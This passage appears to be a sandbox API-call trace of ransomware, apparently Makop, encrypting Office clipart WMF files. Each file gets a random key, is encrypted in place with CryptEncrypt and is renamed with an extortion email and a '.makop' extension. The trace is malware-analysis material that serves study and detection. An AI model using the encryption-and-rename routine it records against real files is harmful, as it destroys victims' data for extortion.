(hKey=0x48c7128) returned 1 [0108.677] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.678] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.678] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.678] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.678] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.678] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.678] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1eb6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1eb6, lpOverlapped=0x0) returned 1 [0108.680] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ec0, dwBufLen=0x1ec0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ec0) returned 1 [0108.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.680] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ec0, lpOverlapped=0x0) returned 1 [0108.680] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.681] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.681] SetEndOfFile (hFile=0xf0) returned 1 [0108.689] GetProcessHeap () returned 0x48a0000 [0108.689] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.689] GetProcessHeap () returned 0x48a0000 [0108.689] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.689] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.690] CloseHandle (hObject=0xf0) returned 1 [0108.691] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0108.691] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0108.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.691] GetProcessHeap () returned 0x48a0000 [0108.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.691] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.692] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0108.696] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.696] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.696] GetProcessHeap () returned 0x48a0000 [0108.696] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.696] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.696] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.696] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.697] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.697] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.697] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3f4, lpOverlapped=0x0) returned 1 [0108.718] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x400, dwBufLen=0x400 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x400) returned 1 [0108.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x400, lpOverlapped=0x0) returned 1 [0108.719] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.719] SetEndOfFile (hFile=0xf0) returned 1 [0108.726] GetProcessHeap () returned 0x48a0000 [0108.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.726] GetProcessHeap () returned 0x48a0000 [0108.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.726] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.728] CloseHandle (hObject=0xf0) returned 1 [0108.728] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0108.728] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0108.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.730] GetProcessHeap () returned 0x48a0000 [0108.730] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.730] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.730] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.731] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.731] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.731] GetProcessHeap () returned 0x48a0000 [0108.731] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.731] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.731] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.731] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.736] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.736] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.737] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x370, lpOverlapped=0x0) returned 1 [0108.737] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x370, dwBufLen=0x370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x370) returned 1 [0108.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.737] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x370, lpOverlapped=0x0) returned 1 [0108.737] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.737] SetEndOfFile (hFile=0xf0) returned 1 [0108.744] GetProcessHeap () returned 0x48a0000 [0108.744] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.745] GetProcessHeap () returned 0x48a0000 [0108.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.745] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.747] CloseHandle (hObject=0xf0) returned 1 [0108.747] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0108.747] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0108.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.748] GetProcessHeap () returned 0x48a0000 [0108.748] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.748] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0108.752] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.752] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.753] GetProcessHeap () returned 0x48a0000 [0108.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.753] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.753] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.754] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.754] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.754] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27a2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27a2, lpOverlapped=0x0) returned 1 [0108.755] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27b0) returned 1 [0108.756] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.756] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x27b0, lpOverlapped=0x0) returned 1 [0108.756] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.756] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.756] SetEndOfFile (hFile=0xf0) returned 1 [0108.763] GetProcessHeap () returned 0x48a0000 [0108.763] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.763] GetProcessHeap () returned 0x48a0000 [0108.763] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.763] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.765] CloseHandle (hObject=0xf0) returned 1 [0108.765] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0108.765] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0108.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.766] GetProcessHeap () returned 0x48a0000 [0108.766] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.766] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.770] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 